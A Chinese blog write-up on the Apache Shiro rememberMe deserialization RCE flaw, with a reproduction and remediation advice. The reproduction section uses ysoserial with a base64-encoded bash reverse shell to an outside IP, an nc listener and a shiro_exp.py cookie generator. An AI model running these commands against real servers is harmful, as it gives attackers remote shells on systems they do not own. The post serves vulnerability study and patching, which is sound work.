shiro反序列化漏洞

shrio反序列化漏洞

一、漏洞介紹

Shiro 是 Java 的一個安全框架。Apache Shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值 > Base64解碼–>AES解密–>反序列化。然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞。
參考文章:http://www.secwk.com/2019/09/18/2818/

二、影響範圍

Apache Shiro <= 1.2.4

三、漏洞復現

惡意 Cookie rememberMe值構造前16字節的密鑰–>後面加入序列化參數–>AES加密–>base64編碼–>發送cookie
這是我們的漏洞環境
在這裏插入圖片描述
用burp抓包,看一下響應
在這裏插入圖片描述
返回包用有個Set-Cookie: rememberMe=deleteMe;
可以用我們的shiro檢測工具測試一下
ShiroScan地址:https://github.com/sv3nbeast/ShiroScan
這個工具還是挺全的在這裏插入圖片描述
在這裏插入圖片描述
成功打到DNSLOG 返回信息
檢測到有這個漏洞,我們就利用下,看能不能反彈個shell
首先在我們服務器開一個nc監聽
在這裏插入圖片描述
然後進http://www.jackson-t.ca/runtime-exec-payloads.html
在這裏插入圖片描述
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1299 CommonsCollections4 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xMjMvNzc3IDA+JjE=}|{base64,-d}|{bash,-i}”
在這裏插入圖片描述

python3 shiro_exp.py -u 漏洞地址 -lh 服務器地址 -lp 監聽端口在這裏插入圖片描述
將生成的值放到burp抓到的數據包裏面
在這裏插入圖片描述
在這裏插入圖片描述
然後我們的服務器這邊就彈到shell了
反正我是搞了一整天,最後nc就是不彈,搞這東西需要細心,一個符號出錯可能就不行

四、漏洞修復

先說結論:無論是否升級shiro到1.2.5及以上,如果shiro的rememberMe功能的AES密鑰一旦泄露,就會導致反序列化漏洞。
跟了shiro 1.3.2的代碼,看到官方的操作如下:
刪除代碼裏的默認密鑰
默認配置裏註釋了默認密鑰
如果不配置密鑰,每次會重新隨機一個密鑰
可以看到並沒有對反序列化做安全限制,只是在邏輯上對該漏洞進行了處理。如果在配置裏自己單獨配置AES的密鑰,並且密鑰一旦泄露,那麼漏洞依然存在。所以漏洞修復的話,我建議下面的方案同時進行:
升級shiro到1.2.5及以上如果在配置裏配置了密鑰,那麼請一定不要使用網上的密鑰,一定不要!!請自己base64一個AES的密鑰,或者利用官方提供的方法生成
總結
標準的AES的加解密只跟私鑰key和加密模式有關,和IV無關。
爲了證明反序列化漏洞確實存在,可以利用ysoserial的URLDNS gadget進行驗證,但是默認會有TTL緩存機制,默認10s。
反序列化導致的命令執行需要兩個點:
readObject()反序列化的內容可控。
應用引用的jar包中存在可命令執行的Gadget Chain。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章